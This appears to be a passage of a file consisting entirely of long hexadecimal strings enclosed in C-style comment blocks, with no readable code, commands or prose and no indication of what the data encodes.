de8b46930e61f9116d4d5a2fac54f2c406eb0832a994bb55ae5a6565497b635960a3acbdfabe88b57f1427a7edf845b3b256c13a9aa544e142df8eb3b98f2d08791a216ef22e1015e891dce200f7f3a7aa3673fc9d93628adbd784d9cfbeaf6dfb253e7ab9b91ae44c11be4c13e0cdee7d8039672dbaeedd0ef965ac261c3f14c1d1088dacd55c72d60b861f3dc4477bc8ac9f50c2143f4a017dfb1b4c426f707da71aecbc9e47d530c4f6d573c425f2efe8ddf35a40dc794998e9b05fd7ccae4fbf6d444cbb0c4e83aa1833934a1b59a694fb2cc37fadd9b53d1331fc0f8b5a23b6e5c7d2ec9479caa0e1033d37afef7db54817f4b103b5b7852554530c8df79e686697309a2405d45098aff3b8c8a30afd826cd86b14bd010fb3a4f3c18aef505e16c7ddbe06b9d014165356def47b279c308cec8c37ff875788658f1560dd521bc7feb894b82498b5fa5ba8b493e2a2f27e43673e709f236597fd3bc02c19617a95e44ebe115eefee5461d82259259281bc32183e1b690b3a8e8d556392c336ab62ecaacd6c57c43d23b75733140b34e3f301ca1a9e944867bd92b8e82912439640619f69767a91322a5053931ec27e1f883120691bd3c67172f40c090dd81156391124b35f5ff70f9caa5b4b905293253b0f37125bc588323e95ca206e9d683f2e27d3ed8f040f431bb504f24c16e3e0bca8ce42f4bf7261c41a7ecaef2731329205e8f18a7bad1e6a2410bad2a3e5f7f618e83f009db7c306a0b9e6274671d9c3a7d7e93e18e205b92d943e9b10984b247a12caf0c640e732a559be34f940e5908418e7c5a63a234da8a0783985e7a20023708bcfe1557c736e9df8a49e5b65761cb425d219a37efe4de5037b69898d8a6b9137f5f64ec978e3a67d8405c5490bb027fbf5048ada26e23526885bcf831590b42af43c117e5bd210e1440f0b00d68b2ca12a962f70dfcc15c27a0ed2375990c7d74cc0de159cd07f45a90b92260af3e6b731c6b11f0b0cced164c76c31b5e5705d5ecded44ed0a3eba1b90b544a0269241b7cae3ed8b4c159ae1dba102b601156e78c91540c6a379ed837152e09ea4ecd23b62b9e3164539ba3d0f6903999bb113f1310b82c6eb325da1ecf25f4d6bc030420ffbe13d2d3590b717eff78dbbb052a8479ddc3d5a3dc1f51ceb0c38edd16520690fe46d1b3d0898ffa3fcdf099b61c95e8457907381134d8fcae25fd69fb78a04bbda08fc81beb8afbd5fecf948ddaf5466e64b8b4dddb900229bbb31bd9bf362832876bef2572cb80298fa13e9acb662a578507ca2d9*/
/*7bb0743ee1fbddc12ebc15c01c404a4ece2a5f5d46d35dc451fc4f5cbac39a8a43f61e4d4529cbe04055816eac09c068c50fd949cfdf845cae28a90f06b466edfd6947d4dd462da8e933d5282534260b55e182c1f0bf04447e4575023568971644795dfdcd75d8c7c2e54e484f6e18cb66e281ec9e6f070769b4f3939bf11c4e03ab95cb6b3fc76c94c68b0b241e3c7b6bcb53757fdaa57066d5011bb4436c150475ebec4229bcbc609a321cd3996b567014e7399221778ee57d952c2f35f3316bbc9b9ed4448111972d31b5ea5f23ea4082c0ed4ffa9bb6cbd98e0038c1cab4f45eada962b9517d671c1ea2d7040aaaad2dd42dd4413a7fafee8e7ee7992e65b9542b4a63a510f60b8132d4d1a50e07dc04d0816b792822b3ff4ceee38e5ec32825dd4bf6112febeee560521f41b72cb13a5ca4e4034f273c2e409c7b509149bf6b47aab4e460d43eb88569af793dab072b5d76b805d4265dd6b617fa47bc58c9fd96d350db09aad39edb10f1292e2c16728600c071d8730ce44f897fbe4ba6e8f3a971c446017f786d0b667e66d220bd27934ce11278e292a8e4dd32ecf65a12e491f1f89c4467bd25926641a38d13a40ebd7dfae37acda05565a9d19933bb29c1a0c56acdd06d3d4e0d28d586586162619d5fe9b4853abb69ffe745f4c838143bbb0928ea6ade9bd34e39ae39783abd8660ff60b8835c72728bcee473f8256b9eecddab963683d1e90219f2eb7ea7e75662bb8b532af775c871b9d2db28d3fb65f6bc4ed894c1c42fde8249dcf74128dc10538a583e3efed6e87cd38d6f95960a33ea722385d9a5fa7c65b8c017a3a02999db40942c2a7b64b7aa2a61688bbc8dbcc74329bb9e13b1a3e89dee3535729b7dc058e5d75a540977e9909d409dd4967fff5fc946fcb5fb344fb2bd5e4f8a01a9fc5df8668d6994afd1ff1af1e4a8f3ca7b9437101b01fdc5554fb5a774644cc5fdd02b14b0e8f65f1f50129ca13fd158da2496abe9b00c3bfb32e6d92d2fce517a0417d6651d60d80b8f4385ccc041b760c9d88c8f4d4e5c671e1923bf187c9c2f3089f3a6e6bdd4e1b7f1c8667a338f51251e0ab957cf00a6bd222b740ca50973f6a8a52dac97eaca2cfc5471f2f20456bacabc6c859226680653a1433b55619d618859acb6eb157c3a7a46c2e06b9332fc794c90676e9d0c6fe7522ff7ce4400a25ff94273367674d561aec6906321ba49f35cf74f59e64a0f3fd3161343426ecfd4d740f66a5c2da9bd867f56d33af34fcf21883dd7a84303a84f546c073fcd05c08545dff498076bfa375fa7f642ea10eee4f7dad8ee87ef25eb874e13a41cb1fd8eea1adc5a31564f795b9ef4125a43c594532d1e9b1de90f6011e9d45df9c27d409b7e4d0c49546df69818072e04494ff919fc36d006fa965847da16fd8d641c505b6b28dec80f664f1f00128303d54f067d05d8a6ffc344d8b1a9ebe07abc1bfe45d0b28e3cd855c75e7bf98292aa759a77476093f1b22a304ed50fdecede566e33a5147a604664efde22bd5e2b60e34c582eb36a7da740584db85534d9a0fa7494bb4e664349aec4b6229c9faa54689246ae85c4029815d3158297f31a4d184768d405d7e0bc6dc25d255b99612b3e692ee365e74963608a5f84d72fb82bc1bb6c54f8b3535a5c70a1108538c153462c9d44127ec4dbf36924ad4a7c2a9569d8380727c04265f40f35cab5f25a09e67d7e123046622f7ef43e4a320c1f3d2a58d26bf06853c0575f605559808a03c15acb9af16541099f7b874da981556108955e865d703bc10a4411e333e3c5cc20677522ed7ddbf1cf5c7968ba0ff9630d73d466fb0ed2eb88d93dbd165c46fcba450f8197da2122b0157bba7e126bd6fe483fdde02c8d5685397579e5e9bbf197bf6c94bb08dd35d389cc4aa78dab2058dad6e7060463d56c05078660b00c31c6f9680f83171d13c5e8ba245c0824c6066d007ea0ad69552aaa87b1915b7936f563cf728d016b1a72596a1eafb3b191a7fee09b11df3b64e3a6e975389924b1f720c2fd14617b34c7c494850871f2f213fe0bf65568c9c951387955f4e3ff35be4d0f0b948c9c101bca01dfbf254dd931bd5f276efec062f881b19f2ddc98bfcd89dfab1d2a909ad36627b1b4434bfd35664ebb6a4bc4b1688d0900ae1b8599ff607a6b84e045746180575dcf78fc40d6489e1a588c8703237c5053c712ff5bdfcc9871128699f474460e867f304f8e6cf108ff379f2b237d55cda484e1ac8ba577f6e856b7d6b5fbe5b932323468b952c8b5b03e9dad5600d2b597a56fcec336a568516d64abbab69f3edf33d965b7722b5833f9f42cb1a986c60e406458528627af6f5de2c6a920f908af70e51fe0ffea7c802aacebcd147dd8e8ce33330d96981811f65693dca742cdb498b52726e856b5086237652d14725d824edd019249b3bf0854f91b7b8a2e105d99fd43f5b66ad3ec7816a09d1a76fef13b6d1077febb692cdd7f87eeb8f831a7170fd7980642ab34514c7b6a8a1d437525b88dea014b22c1c8740e83d09d1e9d7c41da4f7389a78467672856bc64a89da7363e9fd1bb0180ea182dd58f39fcbf3e1e630a61e3b7e75aee4564f5868bd04f878a81d3b86187af9a4051d8edd719a5927343b845c1c95b87385c512f9fa12bd07801259481caa4743944225708384309b654ba2d212d5dfc2044fc4646e0ebe4587c426d6986b6b53c3bf1b4daaf5d4ddcff6a18c716bf9ce36648616705e7138ad13e5c090d483b970207f2ec1f44bda3e24e64c3cb3bf9fcf2d25b5e9ab69c40216cff4989fa582fda2b4d1b*/
/*10d243c13060b0d88e3ce49d37817b205d535f96aa38ec7a6e49fe0225a7a754b11d2159f8dadc57a3ac0edf61b6d822e19c079f5c066a5d8572378e1d7c302f415ba2092a50047fbb29266741989bd609616f7510b7199ca78b36484895f2d89dd97933384fad70b4489f3ba2902585303108de90aa0eebaeed8ea8a0722c54fd5c71d77cd1b75653ace3d0eac1d4529d473f0a9aecfd6bd2aa1df3b62afb8dbcaffeaa88e98ea35cf3bbdb1897844600523cb343eae29c29cbf19e4622db608d0fdf403b399a901f978eba9b79da39a49e9359d61cbf395a7f479385240a44572a160e6bbd13b3a1324215b822e21756246c5e6143e9ff902def7696f02369340aea4e44bfa2bb1a6c32b71c6304534561ef061590ef1eafeb6dc007f12046490c300f6e1ef67b099e4ff0d5e2d1cc4bbab14625348c9268944c337fd6fd67ecf29dbbbc182cdb215a53067a92397cfbcbedffaf8550e0ba5ce5d322f9d3d8907e88a7acbed6e918d8556a464fb29d1f715420325dbec83e17d1329b374509af487eb41c01ccf2701790672ae75e5c15011caa64e65cd7d238bb0cfa2a90d4e2043731f65a7338beed1a947117b211b12d92471cce47230dd9dd75caf58f280df7825d150cb0222a78aece08fd8494d8ea7c080163d5cbae6bda0e54ae9b2fe936f2c957fb5c549b9c4928d673944e454db4321f672f9b90bdfbef21e1eed4245c85dffdabb1e39c5a8859fbe0435c9eb71ea65ff2292df961eca176162c0e085b887daac4dd9bb6c65dc88e8ec62cbb9a53b8c091499bea73a8cd73ecdea0845e4fbc4955609ea5903c01105d9e461863e9958b69247826fedeaffafd26a1cab16866fe29fd0046d90b3b4f6b9ead3f26ab491f5163075b2e5fa480a6d4dd012a803bea41e827237ab3b5e4b1373436d3b40f36a7f91d1e646be491f473aed6399cf03e060decefc90542eead8e2e659db9e73cbe4579e9112d4ae443422b66adac09d0b55bece985a0e6a84d7841f7ea52fd6f93539797ef92bd879ac6864207b43bcb2982f4f55060acd99052be87948f0691b090b863bc940ac3cd8d18eaa44e2e957312cf7eb9f612c3cd410c1cc9dda09f6b5ac16a327af69c5850e25e592726be1e875783cf5406cec81058d7329851f9097f070fc31188c6feab48262b4ef72669e0eb1ad5f8dbfa5d1450f864d42609f7bb737a4244a360aa2c0a385c6cbd25ddb2b10b57353482611883ea92f7fd74d34011f9172e4a63f7add670904022f66624e7af07323a66ccd3859992b0f2b042f796a382ab155827d7717d7e39dad2ab30903f393e352f7c6919078f68dc8cab7b5801d78c71d3727ab6f0daf16132252715f9738863f2f9645f8c52c63e8689cf172234949f98fa3dc4349eb857825e7684bfd43027249c1caec214a775fc098b93c746ad40e0b98695fcc7efacc54d5f8dce87321aaf926357c4fdf5bd8a3939c16bacc369df0e9b4bb8a5bc543c91b53d1a15c1f11af5588cf08412e6215615dde6c0582b331e0e853f9d2ca4565327ed5b45c5d7d0bb6b0d448bf6c72dde52d6cd49952249c8ced08e57c2ba1647d87418b079c2a455fce7d348e51e6b7cbf3e9807078e41a8e829550d42c57373a6dcd48ecd6a960a6c5db733d874e499ceee0d91f3a2e47c8ee74cd1848865b86248605c830d9726a65b581e1a4d6ed853b31fc5f8adf04f7953cfe3dc88f2af995df2360f1990b35a6210986d13d830284478579cd5a9b67ddd6eb78fbb2f7c85768fb81d858f2f6e3023544782a0d3c062f66ef9f933cf2bc05c115139c6c37e56e939564be424864c6eaea7d3aab9780c883dba7165ffae8db392460121f09c096d6e670084f2fc9c1142b36c7dfb55e214cb1f4ab8ccb812431bc577c24a14faa2e7b68a2aa0180962ea1c64a10d306b0fc095c5d477712b27c2f8ac6bd427383ee2f95b7d91453daea64489fc10ae6b9bfffa090e48f0f7ac2eab9a1bd3c9d0def2e2b74ae179deeb24b778c464304b9339b287d843fae2dade0b5b1ef09299ac463192993d6d1956ee4962a820b58c3d77a4b7d6c231e852056c1ee19e32000b7387866be32eec48adab6d8ae092f6d59f73f1e21bb3c52d0636a278da318f0c1ddb06c0280c25857a29aed04cfc37914d7e1b8417ab14c1e7a693200024a8e979a9bff4eb221345e6c2cc08cd244f3d49032063cf9ef5fcb8dc1053b6fdca8f06946097286b78197f9b8d7dac87a576505208078e21b6a2b1c3bd6eae29f9e31d9a71d7a82b43cd0dc5d838f73cbb36541c406d91cbec7c5132073e6b1bce786d89e95e2a4d43101da709baaf881221c8f971f64dc1bd5364d5370fe16d0d03b60f3aec246c4f2b98f4154594fb583c3a9c435345a0518c77613ed375958de5e314bc716301113b418e5a428131ce5f7567122af699e176eb9dd9d79a1e054b7713d1085478610603c8cf71c0c41d329b3394a5da6bd43d223f94fffeba8b2fbe3ebbd26240e09295086a389193653cd01059e2edd0b4dac67d72d955efc73e9e0f2714ba45a536ceba3aa97413d41d86ba4b4903b5b296c5451a4a42375687db85b879855c224de6106e3cf413cc5109e460a1829e63028645daf3c66af11776779a5b575ddce51870f0ebb59fdb333cb76b81f8e75191a0b75226838a4f66c1a41cab3bb2c989cd40f62c99360cfe4b821a0c2ab2ca57331f9cef6d45c66b483c3676bc6caa44dfe0c91d374fbe2d5e7e4235310f3cef196e936ab45502ee3e1ee73aa2b629f0f08354471b5880371e307b4e8c2e47dfbd009b2dfed34446e0c25b72efd22d*/
/*830521f63973621c8df968373e45e5e81e1c20b4074dbf44b32dcef1177b6c2b8076c5f7c3b3d2125f29f34c9d0b892098c98c919d5ca494967997bc731cd338f22b6fc804114a2f7433415ea05337906efab16343ce732fcc0ccf18d77e63a4ab692062c0732c7d8c3fbc13c7080c9f1730c2817a5cfe4e657a9b133f5ec71ed9740e6fa6141fef66058be1143d55f83bf87803a13a6849433fc6a15fd11d30b8b332a8550f5eae126d54d356a1030b5d283b8d7bd1fa470fe0f2cbd3d3960208cbd085e78d78002d9e0dc2eaa8639c33695ad9c8619ae1c29ca6b09542461aeb31b413dfa619ab7c79f65b607e074e58093555c692392e8cf302f1248efd214e75b5edf9db019d089f0548e15f544af6189cdbd5806ee6284f733ee979387dcd49178b8e98c2b68fe7fcf795d96d0e694322af2bc374228a67bb9d886ca43eb454c76f7c1a5954034e39094b7dc61773c75b2b8a963150f395379ed0072584bfae7b69ae533c98a2fff0007b6b7da65636d84b7f98b0de2f9e800413af82268aa8dfaa217abc505ae8fbebb6b0f3e59750bf2c549f1112a103bdc26853c3f35e3aeab9a5f2e7e589b8a3addbb7632ea10b0286b47266663477e9d269e3f1d95c59bacb0bd2b05a0ca09043c47f7669b4ef434d258eecc3d1536d63c3001deedbe805a5cb3effbb746eb956414cd85f8277137cf29033b2fd5dadf6622adfce59300044feb395ec5b8fc94b930a12cfdbec1dd1731170d57cbf1e39c1a8f7d1573f187fce85a1e94fb4e2811dce2a4128bd3320efb6fe97ef87091491e082e8afd97bae8ed4eb69ea8f5efb5015be18cf538a6ef25fe363cc0852a26f1c49af4f78963e13e1b48322f88dadc549e8a4255feea6ec6e3e6889e2a72905cbf93b42e21b6fddfbaf2315db52bc78af38a0e7dd3a1d82b6ef7ff383dd66ca7bb01389faf2cf69f4651c5b3dd143789b88973f0ff73fe0537b85489c87a6c15f2eb2e5b3eb6fe4a5a12ae42fc8faa4e29497ad3b3dadbd5dc00d1c285f35d4aa8322cd900051f6ca4bbe30763a51688a571c213d48ba9af5913cfbe151aba6ac6743eb36d02ff83e736b2c662988c0cfec2cb17be90590223c1e4a51161396a8730c8037b4572a91fcbd60bd0484834618f1151e41f8ac723ef62e91728bd3248c8ec7d1248f12477e2be074ceeaa4f470cad6b0665994529dad93129a782298ef0dfae4de9d2f62725bba824ff3f10bea98651d39c2bb42fad509d6034ef58ff15918c9696d0648cac849f2379971a6e799b42d4019779b652d42ac679c1b124a923358dc3770994c1face7fc096614d9443e5391e8721f094d42d4ff821df43a08b2272936f0499c6cc78357450b972ef775f1aabcae9c651c721d3c13bc076b7d056045e6f225315497d739cf98fe9aadc0726fe45e349de770c0f02d7f726d93397c0360f4a05bb1ecc8a77da9219c8db914217126ec0f0d8e8fd123e8036812c723880ca2523735b66076dda4ccac1ffefad03df205acc87dbe1c2a090ca45e10487368664966e3b29c3c9dd8d8ebfe14d0a3a814de9ad79f38d0de32cb4b6a6ee4e1fae7f826ee83adde42ac95aba65b407efc12863f719100806c2cb0a56336ac9e23dd549b3fcc3dc77952edef4066afbacf9cc4ba5cc75471f5d7e3760550feda02ba15cbd035d19e081744f6bb5f974d7ebcda5688624214da73c2167fb85a7fa8e2affbd36c54689d4f97be42509c531f972e3b759c5f462ae2d779bd561a959683460f55d9e56300e7851b506a4cce1199f64d6689ec0dcb279122f773a9d529d9814ea029aa22ea569ae56386d1c423a3c141635cde2f24e9d1e88a98c835504ee53421b497deb5a192bc406d982adbb9dae8aafc17d6a39ff4fa26c8f8493d515e432a18e9670d30030537a6046987373665f62f27cf800081bc93d0a25942bfb9e3e9ac420a934a845e052b76cf9bb219dc8619b0ca2b9d056743fbe1a8e94ceb8ea21b0c38050e8a61126e47d293a753ddd5897f0f07f82b2e72faa13ae50a7b7cfa78cef611d3ef2d41e9bddee5893a9fb67194a3c275ebca85a87a7926190f2cdf8a7799d4947fdf7265a3257b30fdf307cefdd7d6de62f9e467816f887a000deb4288198b2bf083aca67173677be495efaad525bc9c60eca4a795904830f6e3bb8e505ec184500054a01051949248541ba7cc3f0c3cf69f876669e98da2e070cca530c65d01a37b8736a87f2aec40def6c8f52ef1415e3617fe7a51e0607bf3d1215bed320b2164c1ab39a374338ddbc53effe0ca02050c3dfce12d31612e54f5292929bdbf336664477806e7249bbcc27d23b18e080281ed52ea3b2cd0a75d4abbfee2f2385cde9af3fb7848f6899300f46491f4fcdee7894fc7756f639de87a24e3fa7ee7dd6a40f75e591053876fd0f154654de69a5fa367fb4c6586beb8602a89597e03829b765872f5a1fab33f588ca661e1e8e8d32e06baa932adbbb5e8db9592b3d12031d35fabf903d4c62fbddd9aecc5b506a3d3fbe72522f14d03c92017424a5950f5820b8304ae68707bcbc225b811934026d1303f103151be0f4af5fdd8c3586df1359d56ff80147a2aa036051063c51f7f0c0ddb85103023546e93b55693326972a92a8d19117a9e4cf3418e0b80e4e698d0f8cdaab1a6988f47c0dab09370c598a079ee8f2dbc5a6826c34d008d0d6fc9c686ce909dd92befa5f235c0b8c5a00086c8d460998f1ca11be0f0bd2e2453f73a0ea3cb71c9e605c3c916c2855a0477259da15dc836e431d50374e819729e1ef287499d02ca6e732be0826c69ae2b158e*/
/*42ed11bdf040c009acc069e8d103d2a660f05083db6c740cfac8b0c24b7409ef146506a7018eb81886639d3f2288cb6ca59def16169c3b864622a37e22c5a35ca99743d0d2d089798d21abffa39e627d302a7f7f15c28f8850c799079fe38cd67347a2323813665be9e63449f11a3c7019afc00a642f2e691d2b9705956903153871a07e03c4a6ca3f019b16fbe2cd5a35d7cb3214a1f4c4bc5114ccaa31de5eacffbbf9dd41d246a1fcac006a7384a79bb5e4a2ca8ecb5528f67a891a71de5d81b976f3a08e9f86cea640adef8bbadd9097c0a1985182c95bc2f161d76f88baea8d3ea86ba0b11bc84674c0206fc4377627f5c04bc86cecb5a60a88b4478b53e16308d53f2acf010bd04414ad676e51d0451d0d5bb0e87fa9f292e25b240d3410e5ddce58625fa2abeda430c0837a129d5c09dced4c386e52cadbdc3e4844650b367a7da68aa88da7ace8359a03b7e781937f151aed955f3ca8fbce1ece99e2e36539be4902847de0cb9235db46453c97e0847025c7d8881c6668fd030bd467cc97117ac223482f5d8a7c4358fd652d5fb2e252544b8c5082126211d79437687850f6c35c50634abdf2064a3bd8ea01d8a5465879ad608b008aff833171b2537b7700f3195074c05de35dbc0fc7a362851b0aa68b0a8fc6ed1d9ea46cb50ed4d379a3a3984ff7aa3d6fbdcfb29d5f5fe1299075fae64d38d6176610ac48dc2474817dde8b129a4e1d300ce3f5e29d77b5915c2fdb125a5d0db2929dacefada82087256a9cc733d74ebc8aecc40f30be5e6900dbed5b1b9c037bdc61a9ce45aafe3801aeead6dc68f40b29cf06201e5d0db39375400ae6cf7439a98c19478893543be5cb227c90a4d44b3592f7bec8c5fb8e1ac97da6c42325a3f0f4a7a648368da529047b8c6555b2e4433a415b77a1d93a4bb9c36c4a2d59f2f846d3a692a9978e1029035c579bf4c045698d40c0dab23d9447076cc4fdfd19536cc2586ab57fb6a6806c1d5dcac6fe3c85c82d45a5ee3538bbfcee8fe18ee07292f86f00179d2624b76dcec89b93f3bc7c408527fde3290740677a3fb46999d4f1e14e53f20f043d83d0c046ad4199e52cc3ddac0aa8b5ac3ee413ab30e3ea8ab434ff6c9c2b5c67e5bb821222c2d9979044a9c11c0a53929734cd242bf2637b67e92b414b6e798baa51454c6f4f6cec907bbdbf1a77a8dcf920988e681dae9b42cfd9ac575639e1992fd6cdcb1198ab01c0efa4cdfefbb183ff8bd65ec6ab1aa806d1d3bf2fcbb99f732f4f1c0015580421d40b30716438dce71e9bcce8b7fe409fd57b03bbca662f0e9696a3886bb0cffaf939b7c402009a8fc78512d49a1737255f714179e5fb400b4a8688f8fe627aef0a3bd630b94fb6722663c60b3488159676a02ccce2384ac6654e6f8d2488c3ee5012fc140def0834dd7ae1bee5561add4f4dd1645623cf426fce907e6b1f0629a1520236ba1497d4bcbda913d62af8e3ca33a8065d43e42ef40f72edea26fac60dbdddc114669ed21aa5784f110b3a8209ac93d239ff95fa3ac5b0c1375dfd21b7dac6082fb117e8880c5643269c49ab0f67fdae59f248a7095fb963dc61ccac9fea5ec59f1f19143f3bde89b21271eb239d0a40b87c6722bfc2a5d3a0c4f45d1e327afd8252b3d3004ec5375edebbd3cdc97821a65972244c53f06a47c54b4b0b819bad281cd192ddf83726a101c2e648dacd841544f101f1f11e50a8f4f92c4070e558ccf8a71c5227ac895dc84585e498f7aaec46e6a17331c6bceef91d3057c726de4c16956a9b540606e08debc87528137cb5703fb042ef7f4261f2bc1189e518bb86be38d0848c3d879652e005f427a8941b93f22777e790f8cf371401d710c8a86a08dd7ea23ff6247ca1ad4ad3b46f326bb5a9fd9c86e43d9ae0d8ffdae37b1b5bb3f752cf16b281dadf70d82ab8c8893062ddbed36028dcd2aaf958e3e666f3c8a18cc56355e2e1f7969e92ee5f7f5501d3cb9af517328fb5fbfeb51d8e1c1860974507a72249ef60dd6bbb87f9700aef7552852524438c9e88884b2198ebaf5ffeb4ca131e6c0c1ffdd7d0ba67425ddb30bc5edc9899325c23b33cf922576a0373199cd932d396f1b6cf2791d0d2234e196aac151e0f319f3ec4e2b01da5221230906d10b1ea0346c76c4804473fffdac8af570ac0f8b503226e04ad19323e7a99757ff7d8853920765d1af7d2939e87e71ce9aab163b03df4360f56bed45ff7be381c342af7fcf70af5767e596dc8578242823276be72dbc6881ac873955d1a0538af76c822a8fba01837073105429e091f303e23e7d239f822bd53a8fad70a0d1cca86985e178ccfd29cd9bc4de63fd43547ef432d9ed46931b63c69ef07cb42c7db0c795f87ad2c51d10fa62cfd5bc32bb7d0a2105cccc965eca7ce1248436276c0ea650615bfa762a3857cccd838df8c2bae9a5c70a6d9cc138f0d8f995d156cf65d28651506cab94739f22204a8cf6d013e2e8a460063fcb6569d9e5902311e7b312ec544767f77c9915ebd11cef5804c46763efb6866c48327a1250fd0ee6630e07332bc8e0a6cdeb349711c4ed4fa6155223bb01b0811bff5147c6aa11a867a2e0d319a32f400a01ffb18ab2e3275563f489edd2b65558c6ddaa3a8035c309253c0c629dadd6e30c1f7e859dbb39f62ce724edcd0c76e3f899e97f1bf5c23f860e57370dc412478d1ed04a7564af6a57849dc891f245dc6c60ddee9f43fec17a34d211ac4e8c2a6cdb58754b8aaf5a0967dd291eec12d67e361cb4ae2e6a7c6cb0d6c634ab7689ebe62b51a1a65e646a35c87749f220312fa9e66*/
/*14afd3d71e45c972977b4b1fb09c35b6d6792da7669ad8659677b7d382a3843a9fa509d50b2367dfc4ac73e012a5b0ca9a9ce342655876947413a0b82b04e6d8551c4b60db51a5b01002e6ddf4668b83b5a50ce5186a289f08c56cba86fbc73aa1cd67648bbe9ec20ba7b5a799f4366ba809cc145ee0e52015cefb26e3691eb5cfcd6e2fa6cf470e8bad94ac260fbfce5d0089c4c2417fe47fe5b79c899bfbbcc7ee35eced11447250a5267e5a2576b090bad55c406f10064f5f65e0e39a17ac570a3c84561c8d44984ad51a2880f9684c04821de681e33091fc3d26a97c4adc61632d6459f37d89d89aed7a889914f97c6bda64b4aba1fe406d2de07298b5f66743e434ba29200d02802c6c43f25e1be113125633661c057103b476282473aa2b506bc42b15f4bc8701cd971ad91438dd9ec9f1d904958d293ec8d4fd5cc3e82a8f3a663e1e35d3e580ade86e441e83744b1144adcc39b582319310a8ed6e9d077d85ac784c1c9761aafa93311e43e4bbad3f8c488fde8d886399e9fe84d105a8ef8fb8359f3a9d2868ce287683db257fea3821ac0ca2d673d7329b65e9bc7b4416b65d6f5cb6995a4fc1cf9974f3602b0c5d002ceb4e7e1087804f48f31ccfa1d04587121a4e559221efc36756162c36684b740ac6ea4f351b4b10eaaac0fb10b18e6b58241ed3286136a71a02f3cf5aab150a5ac743dc445f2bc9f74a35e789fdbdd62a3531ef05d15d71febc81eaeea1ec371df2a8c63984fbcddeaea60886f3d97483776a9495d1cd0baf779d539ed538e73d752332cb4acdc8cf07299d481250ec49ae8e1c9305c0fb1474d2edc2758b533d23689a536ebe032d902f76752cfc4ba132ddedb9679b2d91765267f6f5a92d0b62c7503c6edbd02ccd628574f5049ea3490f208ce42cb392e6888a2d1b66435f12c16bef6de527bd7fc9ce3396b8be7ae0e50b9d68b7497cbdd51a66f53fb1410346b1625544e3114bdf373717ab8aae16eaefa23728a2a1317c109d27ccef0b68fcd9cab5433e4d5c5c9c882be5b17281bb2a25abebe5a74794e8c780f165f4ccaf9b24af36827b5f58614ccaf23c64a33077dfac6ef6f8583e76a011b2910d00a84e83bb4b6cf351e3b1b969880b6358fd9c3996ed2349470ed306a84733d052469923cd3076543b70308540bc57763f7c8b32aae182d3049ba7a36764be21ff9aa0755f4409dee04058be17d3275cd909d418d58e16f05d53d4e35188e960d97916e865f21986721635a98b1c2cfa552cf3466d0fe13abd42bbcde3e0398a2153d97c62a1ff78cc4967ceb55fe84873a567ee13d3fbb7bc076b011ec53e821c4734082cc2d8bdd6f454d4ec28f9eb5d0f1beb2f2e2cdac3ad2068bcaa08f5dcd77bb3769340a1cf2534518114343d92891f8773efdd597c5776f443f3eee6bcb2b8b60714d8fa3d55c3669a2c8d8f98d1eee904c345c5269ff1bc76f083f202819b536e915b9801542f06268304b72b98835e8db6f871166d674ce5afaa29eaea6a631036d76792a5e282ad5c89fefcd95f2d42011341ef05940510dcf027f701da9b792efe9a5187430a17353aa5511b2a154f0acd4a30bc593fea67dcd31d79168c3d122998c82b68fde262c30a1da6f8229f9d41a7d19d6daf4a381dc3305a8d1f435fe0da709853115463f67af28ff544d4ebb572ec8599a93f768eacc6bef5e92b3994d7e092d69c203d868e66667565aa6fd95b369de367965236c56f286970787c06dc7f495d457532e1aba24c5f342ea72cb9adecfce8032f8c77b0912b1db783bdb11db5376d69140f1f4675b2a1ae05481e7f0923c4d2479efe079cfd431b6e0c00e7aee132afbdd8194dc280d2d840c5e1412f564d3ffcbc04463a2040e4e9757a9e3ab9e7782531b57eaee47d9991b422da0323f201334b5dffa73fb771dc6d2a011933f4a31a244d637e1a827a3ca28cc77bf99e0aec76a55191a7c0882bf2557e7b1cb0ebf2b024a59a8dd4de3e65774321f651c50827400a4b671193a804ca4202a585f127ed490192087ad6f971c565777a046dba18f1d9b55a7e920656c3032d466ab805b7f8a89e6d2ad968dfc2a024539fce526169863374dc64644282cc4886608e704ba8f0047e0dd7e6efb2bc9e7dd80c3cd45d22b55164064a90c58afbcd2b0ba8a75d9da1e466402a87cb9599ab25af054a6e394453de79182508bb18bb1b4f50ba0e22c114748943c1e897acd50d476f2d05dbd35446328c5c573579779f321341fda79f77fa866fbd76d246c777ecf3f0239d4da2cad86adbbd20a2fd7b9556966901ae7975d5a45309c74b8b90eb4e070124d6a563d319ced816665602dc62266ea031fe5b4d4d3b2be44e227f8f9e4f12c10091fc3a2df43a26208a2ded14e6c171ca6662a6a370f7c21118870816ac694b9bf202bcec357b7d67a7d7de7e3c1b482e54f879876d63a87002191c6678c3bdff14d894328e8b339d789af9361fa62911a5033fa6c73b8b7db41970f790f7ae2e80c953f66cc6f815cacff4166122f204b2534dca28a567b8a1285d39d9cfd94f9d082e8086560384420469ffda621f9e630728130dbbab37235f734ff62a994f602436ab2a409478e8b5fe5e063291e5957d90b0644957f8d6a8134ed9260ed3a9b113e346208be83a85787cabb34edbfaba5916c5d3d3e8770509b09a61b2b9c92bb0bc0cc10e6cc2c3401df5f6a70afcc6778a3295ea6d4ac0a56df05c0f71b5d90eb5ff4394ab43f6e29b430c0ddb67af7e7c90ae82205108f8ed48e45604f352695a2396d26f3b16955486e54f568e6a4ae5df27ffdd58*/
/*677e90001306afc18271568059f03da439eea1ce47ca0b71641cbce53ae6245fa6ad3e1f0a3267a958682b06468faa94b310a081bca5cf65fa76bb830151b937ada35580649f8cbc157cde0cfd357928c59c816b364a04028fa9a3c5f8574eccc115849dc8e345eff25c87a3402a5425925376b63661bcdf5cae37028c4cd5d12df596981bccb1212f3e6f4a40512d72a2dad2904a747fb12293a201e3ebf53d2d57fa951fd59443bb7a26ab81a1377b86ccdbb4b33cef4e19f9d2f1559ae60ce7bd26066f8aecca75f7aa318dd0912d4ad74546ff256584fcb71847528b14e7836621179d1dbc0ab52a8616022555246f8df5d06e2a4df24dbf89638f0e065d7347830b0ad46c64057cd3ed1006beb104c9ed244270156b46be1ba0ccab0e2498877396650eed7b682dcf1de92acff282223c49d8aa121ba5afded7d7a9031798479aab796b3f1369958a0174fc87de738404b2af3750f612c008f403065c06f67069d29e2ce90f7399df3b55a12b77fca607b171412362755b69be4a4952d6626553a455e8e68961211f1428aff2729c38f052ea1ba400fba26101c53cc69bb03459ce67a8eaa9b8ca7002c5ca0dedf9e3354c255fe3004413506c853fcd0608089be0279830e5756cac85631077e8d070cfefdc13fe08a6bb2c7aa80a979c163146c6dd712451be53607ba4ca418651ba142e6de2465eba15e3d67b1ff834bc0295d2e1db44dc6cea53b5360bd5fb1147412327821223e8f65644bfaa81a97da68098071240389b5c0ab8958124e2502926d99664fdd